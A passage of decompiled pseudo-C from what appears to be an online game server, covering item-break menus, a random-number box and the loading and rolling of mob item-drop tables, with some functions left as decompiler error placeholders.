v3; // bx@1 int v4; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(fail + 6); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, __int16))(*(_DWORD *)v4 + 32))(v4, v3); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 12, 37, 6185); (*(void (__thiscall **)(void *, signed int, signed int, _DWORD))(*(_DWORD *)v2 + 776))( v2, 12, 37, *(_WORD *)(fail + 8)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail"); } //----- (00468F40) -------------------------------------------------------- #error "468F40: undefined or illegal type '#325' (funcsize=56)" //----- (00469020) -------------------------------------------------------- #error "469020: undefined or illegal type '#325' (funcsize=56)" //----- (00469100) -------------------------------------------------------- #error "469100: undefined or illegal type '#434' (funcsize=31)" //----- (004691A0) -------------------------------------------------------- #error "4691A0: undefined or illegal type '#434' (funcsize=45)" //----- (00469260) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_ItemDropWarn(ServerMenuFuncter *this, #434 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_ItemDropWarn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_ItemDropWarn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ItemDropOK(a2, arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_ItemDropWarn"); } // 4DEE00: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_ItemDropOK(_DWORD, _DWORD); //----- (00469300) -------------------------------------------------------- #error "469300: undefined or illegal type '#434' (funcsize=45)" //----- (004693C0) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_ItemBreakWarn0(ServerMenuFuncter *this, #434 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_ItemBreakWarn0"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_ItemBreakWarn0"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; itembreakmenu( "ItemBreakWarn1", ServerMenuFuncter::smfm_ItemBreakWarn1, ServerMenuFuncter::smfm_ItemBreakCancel, a2, arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_ItemBreakWarn0"); } //----- (00469480) -------------------------------------------------------- #error "469480: undefined or illegal type '#434' (funcsize=95)" //----- (00469620) -------------------------------------------------------- #error "469620: undefined or illegal type '#434' (funcsize=104)" //----- (004697D0) -------------------------------------------------------- unsigned int __thiscall RandomBox::rb_1000000(RandomBox *this) { unsigned int v1; // eax@1 int v2; // eax@1 unsigned int v3; // edx@1 char *v4; // eax@1 int v5; // edx@1 unsigned int v6; // eax@1 int v7; // eax@1 unsigned int v8; // esi@1 char *v9; // eax@1 int v10; // ecx@1 v1 = this->rb_box[4].rs_point.mask & (this->rb_box[4].rs_point.value + 1); this->rb_box[4].rs_point.value = v1; v2 = this->rb_box[4].rs_slot[v1] + 101; v3 = this->rb_box[v2].rs_point.value; v4 = (char *)this + v2 * 32776; v5 = *((_DWORD *)v4 + 8193) & (v3 + 1); *((_DWORD *)v4 + 8192) = v5; LOWORD(v5) = *(_WORD *)&v4[2 * v5]; v6 = this->rb_box[4].rs_point.mask & (this->rb_box[4].rs_point.value + 1); this->rb_box[4].rs_point.value = v6; v7 = this->rb_box[4].rs_slot[v6] + 101; v8 = this->rb_box[v7].rs_point.mask; v9 = (char *)this + v7 * 32776; v10 = v8 & (*((_DWORD *)v9 + 8192) + 1); *((_DWORD *)v9 + 8192) = v10; return 1000 * (unsigned __int16)v5 + *(_WORD *)&v9[2 * v10]; } //----- (00469870) -------------------------------------------------------- int __cdecl ItemDropFromMob::DropItemListInGroup::dilig_Compare(const void *a, const void *b) { int v2; // edx@1 int v3; // esi@1 int result; // eax@5 v2 = *(_DWORD *)a; v3 = *(_DWORD *)b; if ( *(_DWORD *)a == *(_DWORD *)b && (v2 = *((_DWORD *)a + 1), v3 = *((_DWORD *)b + 1), v2 == v3) && (v2 = *((_DWORD *)a + 2), v3 = *((_DWORD *)b + 2), v2 == v3) && (v2 = *((_DWORD *)a + 3), v3 = *((_DWORD *)b + 3), v2 == v3) ) result = *((_DWORD *)a + 4) - *((_DWORD *)b + 4); else result = v2 - v3; return result; } //----- (004698B0) -------------------------------------------------------- int __thiscall DropItemStruct::ItemGroup::operator_(int this, int a2) { int result; // eax@1 int v3; // esi@1 int v4; // edi@1 signed int v5; // ebp@1 int v6; // edx@3 signed int v7; // esi@3 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); v3 = this + 20; v4 = a2 - this; v5 = 40; do { *(_BYTE *)v3 = *(_BYTE *)(v4 + v3); ++v3; --v5; } while ( v5 ); *(_WORD *)(this + 60) = *(_WORD *)(a2 + 60); *(_WORD *)(this + 62) = *(_WORD *)(a2 + 62); v6 = this + 64; v7 = 16; do { *(_WORD *)v6 = *(_WORD *)(v6 + v4); v6 += 2; --v7; } while ( v7 ); *(_DWORD *)(this + 96) = *(_DWORD *)(a2 + 96); return result; } //----- (00469920) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropIndexCluster::DropIndexCluster(ItemDropFromMob::DropIndexCluster *this) { ItemDropFromMob::DropIndexCluster *v1; // esi@1 v1 = this; OptionReader::OptionReader(&this->dic_Table); v1->dic_DropItemBySpecies = 0; } //----- (00469940) -------------------------------------------------------- int __thiscall MobRegenClass::MobBreeder::mb_RegenGroupIndex(void *this, int regengroup) { int v2; // eax@1 int result; // eax@1 v2 = *(_DWORD *)this + 6424; *(_DWORD *)regengroup = *(_DWORD *)(*(_DWORD *)this + 6424); *(_DWORD *)(regengroup + 4) = *(_DWORD *)(v2 + 4); *(_DWORD *)(regengroup + 8) = *(_DWORD *)(v2 + 8); *(_DWORD *)(regengroup + 12) = *(_DWORD *)(v2 + 12); result = *(_DWORD *)(v2 + 16); *(_DWORD *)(regengroup + 16) = result; return result; } //----- (00469970) -------------------------------------------------------- int __thiscall ItemDropFromMob::DropItemListInGroup::__unnamed::__unnamed(int this) { int v1; // esi@1 v1 = this; DropItemStruct::ItemGroup::ItemGroup((ORKeyList::KeyElement *)(this + 2)); return v1; } //----- (00469980) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup(ItemDropFromMob::DropItemListInGroup *this) { _eh_vector_destructor_iterator_( this->dilig_ItemList, 0x66u, 100, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004699A0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_AppendItem(ItemDropFromMob::DropItemListInGroup *this, unsigned __int16 itm, DropItemStruct::ItemGroup *ig) { ItemDropFromMob::DropItemListInGroup *v3; // esi@1 char *v4; // eax@1 char buffer[256]; // [sp+8h] [bp-104h]@1 v3 = this; v4 = ORToken::ort_GetString(&this->dilig_Index, buffer); if ( v3->dilig_MaxItem >= 0x64u ) { AssertClass::ac_AssertFail( &shineassert, "ItemDropFromMob::DropItemListInGroup::dilig_AppendItem : Too many item", v4); ShineExit("ItemDropFromMob::DropItemListInGroup::dilig_AppendItem"); } v3->dilig_ItemList[v3->dilig_MaxItem].itemid = itm; DropItemStruct::ItemGroup::operator_((int)&v3->dilig_ItemList[v3->dilig_MaxItem++].itemgroup, (int)ig); } //----- (00469A40) -------------------------------------------------------- #error "469A40: undefined or illegal type '#325' (funcsize=164)" //----- (00469CA0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropIndexCluster::_DropIndexCluster(ItemDropFromMob::DropIndexCluster *this) { OptionReader *v1; // edi@1 void *v2; // eax@1 void *v3; // esi@2 v1 = (OptionReader *)this; v2 = this->dic_DropItemBySpecies; if ( v2 ) { v3 = (char *)v2 - 4; _eh_vector_destructor_iterator_( v2, 0x190u, *((_DWORD *)v2 - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); operator delete__(v3); } OptionReader::_OptionReader(v1); } //----- (00469D10) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListInGroup::DropItemListInGroup(ItemDropFromMob::DropItemListInGroup *this) { *(_QWORD *)&this->dilig_Index.ort_Name[12] = 0i64; *(_QWORD *)&this->dilig_Index.ort_Name[4] = 0i64; *(_DWORD *)&this->dilig_Index.ort_Name[0] = 0; _eh_vector_constructor_iterator_( this->dilig_ItemList, 0x66u, 100, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::__unnamed::__unnamed, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00469D40) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_StoreItem(ItemDropFromMob::DropItemListInGroup *this, char *index, DropItemStruct::ItemGroup *ig) { char *v3; // esi@1 ItemDropFromMob::DropItemListInGroup *v4; // edi@1 unsigned __int16 v5; // ax@1 unsigned __int16 v6; // ax@4 unsigned __int16 v7; // si@4 ItemInfoServer *v8; // eax@4 DropItemStruct::ItemGroup *v9; // [sp-Ch] [bp-30h]@7 ItemDropFromMob::DropItemListInGroup *thisa; // [sp+8h] [bp-1Ch]@1 ORToken itmgrpidx; // [sp+Ch] [bp-18h]@3 v3 = index; v4 = this; thisa = this; v5 = ItemDataBox::idb_2itemid(&itemdatabox, index); if ( v5 == -1 ) { *(_QWORD *)&itmgrpidx.ort_Name[12] = 0i64; *(_QWORD *)&itmgrpidx.ort_Name[4] = 0i64; *(_DWORD *)&itmgrpidx.ort_Name[0] = 0; strncpy(itmgrpidx.ort_Name, v3, 0x14u); ItemDataBox::idb_iter_home(&itemdatabox, (unsigned int *)&index); while ( 1 ) { v6 = ItemDataBox::idb_iter_Get(&itemdatabox, (unsigned int *)&index); v7 = v6; v8 = ItemDataBox::operator__(&itemdatabox, v6)->dataserv; if ( *(_QWORD *)&v8->DropGroupA[0] != *(_QWORD *)&itmgrpidx || *(_QWORD *)&v8->DropGroupA[8] != *(_QWORD *)&itmgrpidx.ort_Name[8] || *(_DWORD *)&v8->DropGroupA[16] != *(_DWORD *)&itmgrpidx.ort_Name[16] ) { if ( *(_QWORD *)&v8->DropGroupB[0] != *(_QWORD *)&itmgrpidx || *(_QWORD *)&v8->DropGroupB[8] != *(_QWORD *)&itmgrpidx.ort_Name[8] || *(_DWORD *)&v8->DropGroupB[16] != *(_DWORD *)&itmgrpidx.ort_Name[16] ) goto LABEL_13; v9 = ig; } else { v9 = ig; } ItemDropFromMob::DropItemListInGroup::dilig_AppendItem(thisa, v7, v9); LABEL_13: if ( !ItemDataBox::idb_iter_next(&itemdatabox, (unsigned int *)&index) ) return; } } ItemDropFromMob::DropItemListInGroup::dilig_AppendItem(v4, v5, ig); } //----- (00469E70) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropGroupCluster::DropGroupCluster(ItemDropFromMob::DropGroupCluster *this) { ItemDropFromMob::DropGroupCluster *v1; // esi@1 void *v2; // eax@1 int v3; // edi@2 v1 = this; this->dgc_MaxNumber = 64; v2 = operator new__(0x9FC04u); if ( v2 ) { v3 = (int)((char *)v2 + 4); *(_DWORD *)v2 = 64; _eh_vector_constructor_iterator_( (char *)v2 + 4, 0x27F0u, 64, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::DropItemListInGroup, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup); } else { v3 = 0; } v1->dgc_GroupList = (ItemDropFromMob::DropItemListInGroup *)v3; v1->dgc_Current = 0; } //----- (00469EF0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropGroupCluster::dgc_Append(ItemDropFromMob::DropGroupCluster *this, ORToken *index) { ItemDropFromMob::DropGroupCluster *v2; // ebx@1 int v3; // esi@1 ItemDropFromMob::DropItemListInGroup *v4; // ebp@2 int v5; // esi@2 void *v6; // eax@2 void *v7; // edi@2 unsigned int v8; // kr00_4@4 int v9; // eax@6 unsigned int v10; // ST0C_4@6 void *v11; // ST08_4@6 v2 = this; v3 = this->dgc_MaxNumber; if ( this->dgc_Current >= v3 ) { v4 = this->dgc_GroupList; v5 = v3 + 16; this->dgc_MaxNumber = v5; v6 = operator new__(10224 * v5 + 4); v7 = 0; if ( v6 ) { v7 = (char *)v6 + 4; *(_DWORD *)v6 = v5; _eh_vector_constructor_iterator_( (char *)v6 + 4, 0x27F0u, v5, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::DropItemListInGroup, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup); } v8 = 10224 * v2->dgc_Current; v2->dgc_GroupList = (ItemDropFromMob::DropItemListInGroup *)v7; memcpy(v7, v4, v8); if ( v4 ) { _eh_vector_destructor_iterator_( v4, 0x27F0u, *((_DWORD *)v4 - 1), (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup); operator delete__((char *)v4 - 4); } } v9 = (int)&v2->dgc_GroupList[v2->dgc_Current]; *(_QWORD *)v9 = *(_QWORD *)&index->ort_Name[0]; *(_QWORD *)(v9 + 8) = *(_QWORD *)&index->ort_Name[8]; *(_DWORD *)(v9 + 16) = *(_DWORD *)&index->ort_Name[16]; *(_DWORD *)(v9 + 10220) = 0; v10 = v2->dgc_Current + 1; v11 = v2->dgc_GroupList; v2->dgc_Current = v10; qsort(v11, v10, 0x27F0u, ItemDropFromMob::DropItemListInGroup::dilig_Compare); } //----- (0046A020) -------------------------------------------------------- ItemDropFromMob::DropItemListInGroup *__thiscall ItemDropFromMob::DropGroupCluster::dgc_Find(ItemDropFromMob::DropGroupCluster *this, ORToken *index) { ItemDropFromMob::DropGroupCluster *v2; // esi@1 unsigned int v3; // edx@1 int v4; // eax@1 unsigned int v5; // ecx@1 const void *v6; // edx@1 void *v7; // esi@1 ItemDropFromMob::DropItemListInGroup key; // [sp+0h] [bp-27F4h]@1 v2 = this; *(_QWORD *)&key.dilig_Index.ort_Name[12] = 0i64; *(_QWORD *)&key.dilig_Index.ort_Name[4] = 0i64; *(_DWORD *)&key.dilig_Index.ort_Name[0] = 0; _eh_vector_constructor_iterator_( key.dilig_ItemList, 0x66u, 100, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::__unnamed::__unnamed, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v3 = *(_DWORD *)&index->ort_Name[4]; *(_DWORD *)&key.dilig_Index.ort_Name[0] = *(_DWORD *)&index->ort_Name[0]; *(_QWORD *)&key.dilig_Index.ort_Name[4] = __PAIR__(*(_DWORD *)&index->ort_Name[8], v3); v4 = *(_DWORD *)&index->ort_Name[16]; v5 = v2->dgc_Current; *(_QWORD *)&key.dilig_Index.ort_Name[12] = *(_DWORD *)&index->ort_Name[12]; v6 = v2->dgc_GroupList; *(_DWORD *)&key.dilig_Index.ort_Name[16] = v4; key.dilig_MaxItem = 0; v7 = bsearch(&key, v6, v5, 0x27F0u, ItemDropFromMob::DropItemListInGroup::dilig_Compare); _eh_vector_destructor_iterator_( key.dilig_ItemList, 0x66u, 100, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); return (ItemDropFromMob::DropItemListInGroup *)v7; } //----- (0046A0F0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate(ItemDropFromMob::DropItemListForSpecies *this, int sub, DropItemStruct::DropTable *droptable, #325 *attacker, RateRecalc *victim, char rrcalc, unsigned int loot_party, unsigned int loot_handle) { unsigned int v8; // eax@1 char *v9; // eax@1 int v10; // ecx@1 int v11; // edx@1 bool v12; // sf@1 unsigned __int8 v13; // of@1 unsigned int v14; // ebx@2 char *v15; // edi@2 unsigned int v16; // ST20_4@2 signed int v17; // edx@2 __int16 v18; // ax@3 ItemDropFromMob::DropItemListInGroup *v19; // eax@6 char buffer[128]; // [sp+8h] [bp-90h]@6 int v21; // [sp+90h] [bp-8h]@8 int v22; // [sp+94h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v8; v9 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v8]]; v10 = *((_DWORD *)v9 + 8193) & (*((_DWORD *)v9 + 8192) + 1); *((_DWORD *)v9 + 8192) = v10; v11 = *(_WORD *)&v9[2 * v10]; v13 = __OFSUB__(v11, *(_DWORD *)(rrcalc + 4)); v12 = v11 - *(_DWORD *)(rrcalc + 4) < 0; v22 = 0; if ( v12 ^ v13 ) { v14 = droptable->droptable[sub].droprate; v15 = (char *)droptable + 27 * sub; v16 = RandomBox::rb_1000000(&rndbox); v17 = (signed int)((unsigned __int64)(274877907i64 * (signed int)(v14 * (*(_DWORD *)rrcalc + *(_DWORD *)(rrcalc + 8)))) >> 32) >> 6; if ( v16 < v17 + ((unsigned int)v17 >> 31) ) { v18 = *((_WORD *)v15 + 90); if ( v18 ) { if ( v18 != -1 ) *((_WORD *)v15 + 90) = v18 - 1; ORToken::ort_GetString((ORToken *)(v15 + 155), buffer); v19 = ItemDropFromMob::DropGroupCluster::dgc_Find(&dropgroupcluster, (ORToken *)(v15 + 155)); if ( v19 ) ItemDropFromMob::DropItemListInGroup::dilig_Drop(v19, attacker, (char)victim, loot_party, loot_handle); } } } --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate"); __security_check_cookie(*(unsigned int *)&buffer[124]); } //----- (0046A2B0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropIndexCluster::dic_Load(ItemDropFromMob::DropIndexCluster *this, Name4 *world) { ItemDropFromMob::DropIndexCluster *v2; // ebx@1 int v3; // eax@1 int v4; // esi@1 void *v5; // eax@1 int v6; // ebp@1 int v7; // edi@2 int j; // esi@4 int v9; // edx@6 int v10; // ecx@6 int v11; // edx@6 int v12; // eax@7 int k; // ebp@10 unsigned int v14; // esi@11 void *v15; // eax@11 void *v16; // edi@11 int v17; // ecx@12 int v18; // esi@12 int v19; // edx@12 bool v20; // zf@12 int v21; // esi@15 int v22; // esi@16 int v23; // ebp@16 ORToken *v24; // esi@22 signed int v25; // edi@22 int v26; // edx@29 int v27; // ecx@29 int v28; // edx@29 char v29; // bl@30 int v30; // eax@30 int v31; // edi@33 void *v32; // eax@34 void *v33; // esi@34 int v34; // ecx@35 int v35; // eax@35 signed int v36; // edx@35 int v37; // ebx@36 int v38; // ebp@36 ItemDropFromMob::DropItemListInGroup *v39; // eax@40 ORToken v40; // [sp-2Ah] [bp-109B8h]@11 void *v41; // [sp-26h] [bp-109B4h]@2 unsigned int v42; // [sp-22h] [bp-109B0h]@2 int v43; // [sp-1Eh] [bp-109ACh]@2 void (__thiscall *v44)(void *); // [sp-1Ah] [bp-109A8h]@2 int v45; // [sp-16h] [bp-109A4h]@2 char rst; // [sp+1h] [bp-1098Dh]@7 void *i; // [sp+2h] [bp-1098Ch]@1 ORToken *v48; // [sp+6h] [bp-10988h]@11 char buf[32]; // [sp+Ah] [bp-10984h]@6 char path[128]; // [sp+2Ah] [bp-10964h]@6 char v51; // [sp+AAh] [bp-108E4h]@23 OptionReader or; // [sp+12Ah] [bp-10864h]@29 unsigned int cookie; // [sp+1097Eh] [bp-10h]@43 int v54; // [sp+1098Ah] [bp-4h]@1 v2 = this; v3 = MobDataBox::operator int(&mobdatabox); v4 = v3; v5 = operator new__(400 * v3 + 4); i = v5; v6 = 0; v54 = 0; if ( v5 ) { v45 = (int)ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v44 = (void (__thiscall *)(void *))MoveManager::MoveManager; v43 = v4; v7 = (int)((char *)v5 + 4); v42 = 400; v41 = (char *)v5 + 4; *(_DWORD *)v5 = v4; _eh_vector_constructor_iterator_(v41, v42, v43, v44, (void (__thiscall *)(void *))v45); } else { v7 = 0; } v54 = -1; v2->dic_DropItemBySpecies = (ItemDropFromMob::DropItemListForSpecies *)v7; for ( j = 0; j < MobDataBox::operator int(&mobdatabox); ++v6 ) { memset(&v2->dic_DropItemBySpecies[v6], 0, sizeof(v2->dic_DropItemBySpecies[v6])); ++j; } v9 = *(_DWORD *)&world->n4_name[4]; *(_DWORD *)buf = *(_DWORD *)&world->n4_name[0]; v10 = *(_DWORD *)&world->n4_name[8]; *(_DWORD *)&buf[4] = v9; v11 = *(_DWORD *)&world->n4_name[12]; *(_DWORD *)&buf[8] = v10; *(_DWORD *)&buf[12] = v11; buf[16] = 0; sprintf(path, "../9Data/Shine/World/%s/ItemDropTable.txt"); if ( !OptionReader::or_Read(&v2->dic_Table, path) ) { rst = OptionReader::or_Read(&v2->dic_Table, "../9Data/Shine/World/ItemDropTable.txt"); v12 = OptionReader::or_ErrorLine(&v2->dic_Table); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "DropItemManager::dim_Load : Error in ItemDropTable.txt", v12); ShineExit("ItemDropFromMob::DropIndexCluster::dic_Load"); } } for ( k = 0; ; ++k ) { v45 = k; v48 = &v40; v14 = 0; i = (void *)k; v44 = 0; v43 = 0; v42 = 0; v41 = 0; *(_DWORD *)&v40.ort_Name[0] = 0; strncpy(v40.ort_Name, "ItemGroup", 0x14u); v15 = OptionReader::or_SelectFromOrder(&v2->dic_Table, v40, v45); v16 = v15; if ( !v15 ) break; v17 = *((_WORD *)v15 + 33); v18 = *(_DWORD *)((char *)v15 + 1470); v19 = *((_BYTE *)v15 + 70); v20 = v19 + *(_DWORD *)((char *)v15 + 71) + *(_DWORD *)((char *)v15 + 75) + *(_DWORD *)((char *)v15 + 79) + v17 + *((_WORD *)v15 + 34) != v18; v48 = (ORToken *)(v19 + *(_DWORD *)((char *)v15 + 71) + *(_DWORD *)((char *)v15 + 75) + *(_DWORD *)((char *)v15 + 79) + v17 + *((_WORD *)v15 + 34) == v18); if ( v20 ) { AssertClass::ac_AssertFail(&shineassert, "Checksum error in DropTable where MobID is", k); ShineExit("ItemDropFromMob::DropIndexCluster::dic_Load"); } v21 = MobDataBox::mdb_2MobID(&mobdatabox, (const char *)v15 + 33); if ( v21 < MobDataBox::operator int(&mobdatabox) ) { v22 = (int)&v2->dic_DropItemBySpecies[v21]; v23 = *((_BYTE *)v16 + 70); if ( *(_DWORD *)(v22 + 4 * v23) ) { v45 = *((_BYTE *)v16 + 70); AssertClass::ac_AssertFail( &shineassert, "ItemDropFromMob::DropItemListForSpecies::dilfs_Store : AbstateNum is duplicate", v45); ShineExit("ItemDropFromMob::DropItemListForSpecies::dilfs_Store"); } v48 = (ORToken *)((unsigned int)v23 < 0x64); if ( (unsigned int)v23 >= 0x64 ) { AssertClass::ac_AssertFail( &shineassert, "ItemDropFromMob::DropItemListForSpecies::dilfs_Store : AbstateNum is too big", v23); ShineExit("ItemDropFromMob::DropItemListForSpecies::dilfs_Store"); } *(_DWORD *)(v22 + 4 * v23) = v16; v24 = (ORToken *)((char *)v16 + 155); v25 = 45; do { if ( *ORToken::ort_GetString(v24, &v51) != 45 && !ItemDropFromMob::DropGroupCluster::dgc_Find(&dropgroupcluster, v24) ) ItemDropFromMob::DropGroupCluster::dgc_Append(&dropgroupcluster, v24); v24 = (ORToken *)((char *)v24 + 27); --v25; } while ( v25 ); k = (int)i; } } OptionReader::OptionReader(&or); v26 = *(_DWORD *)&world->n4_name[4]; *(_DWORD *)buf = *(_DWORD *)&world->n4_name[0]; v27 = *(_DWORD *)&world->n4_name[8]; *(_DWORD *)&buf[4] = v26; v28 = *(_DWORD *)&world->n4_name[12]; v45 = (int)buf; *(_DWORD *)&buf[8] = v27; v54 = 1; *(_DWORD *)&buf[12] = v28; buf[16] = 0; sprintf(path, "../9Data/Shine/World/%s/ItemDropGroup.txt"); if ( !OptionReader::or_Read(&or, path) ) { v29 = OptionReader::or_Read(&or, "../9Data/Shine/World/ItemDropGroup.txt"); v30 = OptionReader::or_ErrorLine(&or); if ( !v29 ) { AssertClass::ac_AssertFail(&shineassert, "DropItemManager::dim_Load : Error in ItemDropGroup.txt", v30); ShineExit("ItemDropFromMob::DropIndexCluster::dic_Load"); } } v31 = 0; while ( 1 ) { v45 = v31; v48 = &v40; v44 = (void (__thiscall *)(void *))v14; v43 = v14; v42 = v14; v41 = (void *)v14; *(_DWORD *)&v40.ort_Name[0] = v14; strncpy(v40.ort_Name, "ItemDropGroup", 0x14u); v32 = OptionReader::or_SelectFromOrder(&or, v40, v45); v33 = v32; if ( !v32 ) break; v34 = *((_WORD *)v32 + 30) + *((_WORD *)v32 + 31); v35 = (int)((char *)v32 + 68); v36 = 4; do { v37 = *(_WORD *)(v35 + 2) + *(_WORD *)(v35 - 2) + *(_WORD *)(v35 - 4); v38 = v34 + *(_WORD *)v35; v35 += 8; --v36; v34 = v37 + v38; } while ( v36 ); if ( v34 != *((_DWORD *)v33 + 24) ) { AssertClass::ac_AssertFail(&shineassert, "Checksum error in ItemGroup at", v31); ShineExit("ItemDropFromMob::DropIndexCluster::dic_Load"); } v39 = ItemDropFromMob::DropGroupCluster::dgc_Find(&dropgroupcluster, (ORToken *)v33); if ( v39 ) ItemDropFromMob::DropItemListInGroup::dilig_StoreItem(v39, (char *)v33 + 20, (DropItemStruct::ItemGroup *)v33); ++v31; v14 = 0; } v54 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (0046A720) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_Drop(ItemDropFromMob::DropItemListForSpecies *this, DropItemStruct::DropTable *droptable, ORToken *regengroup, #325 *attacker, char victim, unsigned int loot_party, RateRecalc *loot_handle, unsigned int raterecalc) { int v8; // esi@1 char *v9; // ebp@9 char *v10; // [sp-18h] [bp-44h]@5 ItemDropFromMob::DropItemListForSpecies *thisa; // [sp+0h] [bp-2Ch]@1 ORToken area; // [sp+8h] [bp-24h]@5 int v13; // [sp+24h] [bp-8h]@16 int v14; // [sp+28h] [bp-4h]@1 thisa = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDropFromMob::DropItemListForSpecies::dilfs_Drop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemDropFromMob::DropItemListForSpecies::dilfs_Drop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; v14 = 0; if ( !(_S14_7 & 1) ) { _S14_7 |= 1u; *(_QWORD *)&dash.ort_Name[12] = 0i64; *(_QWORD *)&dash.ort_Name[4] = 0i64; *(_DWORD *)&dash.ort_Name[0] = 0; strncpy(dash.ort_Name, (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); atexit(_E15_7); } if ( droptable->index.area[0] == 45 || (*(_QWORD *)&area.ort_Name[12] = 0i64, *(_QWORD *)&area.ort_Name[4] = 0i64, *(_QWORD *)&area.ort_Name[0] = 0i64, strncpy(area.ort_Name, droptable->index.area, 0x14u), *(_QWORD *)&area == *(_QWORD *)®engroup->ort_Name[0]) && *(_QWORD *)&area.ort_Name[8] == *(_QWORD *)®engroup->ort_Name[8] && *(_DWORD *)&area.ort_Name[16] == *(_DWORD *)®engroup->ort_Name[16] ) { v9 = &droptable->droptable[0].dropitemgroup.ort_Name[8]; do { if ( __PAIR__(*((_DWORD *)v9 - 1), *((_DWORD *)v9 - 2)) != *(_QWORD *)&dash || *(_QWORD *)v9 != *(_QWORD *)&dash.ort_Name[8] || *((_DWORD *)v9 + 2) != *(_DWORD *)&dash.ort_Name[16] ) { if ( v9[16] == 114 ) ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate( thisa, v8, droptable, attacker, (RateRecalc *)victim, raterecalc, loot_party, (unsigned int)loot_handle); } ++v8; v9 += 27; } while ( (unsigned int)v8 < 0x2D ); v13 = -1; v10 = "ItemDropFromMob::DropItemListForSpecies::dilfs_Drop"; } else { v14 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); __security_check_cookie(*(unsigned int *)&area.ort_Name[16]); } //----- (0046A900) -------------------------------------------------------- #error "46A900: undefined or illegal type '#325' (funcsize=103)" //----- (0046AA70) 